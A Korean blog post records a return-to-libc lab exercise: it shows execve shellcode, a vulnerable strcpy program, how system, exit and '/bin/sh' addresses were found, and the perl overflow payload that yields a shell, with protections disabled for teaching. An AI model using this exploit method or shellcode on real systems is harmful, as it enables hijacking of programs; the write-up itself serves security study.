일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- 게임 개발
- MAC
- Security
- DSP
- 언리얼엔진
- Double free
- Race condition
- Rr
- 유스케이스
- 게임개발
- DP
- linear difference equation
- MLFQ
- frequency-domain spectrum analysis
- STCF
- pdlc
- CTF
- 운영체제
- Unity #Indie Game
- AINCAA
- 배경 그림
- ret2libc
- sampling theory
- 메카님
- stride
- 유니티
- RBAC
- TSet
- dtft
- dirty cow
- Today
- Total
다양한 기록
Return-to-libc Attacks (Ret2Libc) / 실습 본문
* 교육용입니다 / 방어기법 다 해제하고 진행한 거라 현대의 실제 환경에서는 불가능합니다*
const char code[] =
"\x31\xc0\x50\x68//sh\x68\bin"
"\x89\xe3\x50\x53\x89\xe1\x99"
"\xb0\x0b\xcd\x80";
int main(int argc, char **argv)
{
char buffer[sizeof(code)];
strcpy(buffer, code);
((void(*)( ))buffer)();
}
* const 붙어 있어서 전역 변수로 선언되어도 텍스트 영역에 존재함
어쨌든 저대로 실행해도 실행 인됨.. => Non-executable Stack 때문 (버퍼는 스택에 있음)
gcc -z noexecstack shellcode.c
위처럼 꺼버릴 수 있음
Non-executable stack을 어떻게 파훼할 것인가?
=> 이미 있는 코드로 점프한다 .. ex. libc (common lib)의 system
-- 결국 리턴 어드레스를 조작해야 함
덮어씌우는 곳은 항상 버퍼의 시작 주소
1. 버퍼 패딩
2. saved ebp 아무 값으로 덮어쓰기
3. 리턴 어드레스 -> system 주소 덮어쓰기
4. 그 위에 exit 주소 넣기 (공격의 자연스러움을 위함)
5. 그 위에 /bin/sh 주소 넣기 (환경 변수 이용)
=> 버퍼가 100바이트라면 입력으로 116바이트는 필요함
#include <stdio.h>
#include <string.h>
void echo(char* str)
{
char buffer[80];
strcpy(buffer, str);
puts(buffer);
}
int main(int argc, char** argv)
{
echo(argv[1]);
printf("Done");
return 0;
}
위 코드를 버퍼 오버플로우를 발생 시키는 경우
1. system과 exit의 주소 알아내기
* 저 전에 b echo 후 run 해 줬음
2. 더미 공간 구하기
ebp 밑에 바로 버퍼가 있을 거라 ebp와 버퍼 위치 구해서 빼줌 => 88
3. /bin/sh 주소 구하기
환경 변수에 넣어두고 꺼내 쓸 것임, * 환경 변수는 스택에 저장됨
import는 들여오기, export는 내보내기
export면 새 쉘이 뜨더라도 이 환경 변수를 알게 됨
#include <stdio.h>
int main()
{
char *shell = (char*)getenv("MYSHELL");
if (shell)
{
printf("Value: %s\n", shell);
printf("Address: %x\n", (unsigned int)shell);
}
return 1;
}
이런 코드로 환경 변수 주소를 알 수 있긴 한데,
주의 할 점은 실행 파일 길이가 같아야 함
환경 변수에 프로그램 이름도 들어가기 때문 ..
그래서 이 실습에서는 test와 맞게 shel 로 네 글자 맞췄음
주소도 구했음
0xf7dd78f0 system
0xf7dc65c0 exit
ffffd56f /bin/sh
페이로드
./test $(perl -e 'print "A"x88, "B"x4, "\xf0\x78\xdd\xf7", "\xc0\x65\xdc\xf7", "\x6f\xd5\xff\xff"')
해석 -
A 88개 -> 버퍼부터 더미공간까지 채움
B 4개 -> saved ebp 자리 채움
"\xf0\x78\xdd\xf7" -> 리틀 엔디안으로 system() 주소
"\xc0\x65\xdc\xf7" -> 리틀 엔디안으로 exit() 주소
"\x6f\xd5\xff\xff" -> 리틀 엔디안으로 "/bin/sh" 주소
결과
쉘 탈취 됨
아직 해결되지 않은 점
exit는 왜 system의 위에 두고, /bin/sh의 주소는 왜 기존 리턴 어드레스보다 8바이트 위 자리에 두는가?
함수의 프롤로그와 에필로그를 통해 알 수 있음 (다음 게시글)
'운영체제보안' 카테고리의 다른 글
Ret2Libc 정리 및 ROP 개념 (0) | 2024.12.05 |
---|---|
Ret2Libc - Func's Prologue & Epilogue (0) | 2024.12.05 |
Heap Overflow with code reuse (0) | 2024.12.05 |
Heap Overflow with code injection (0) | 2024.12.05 |
Control Hijacking Attack (0) | 2024.12.05 |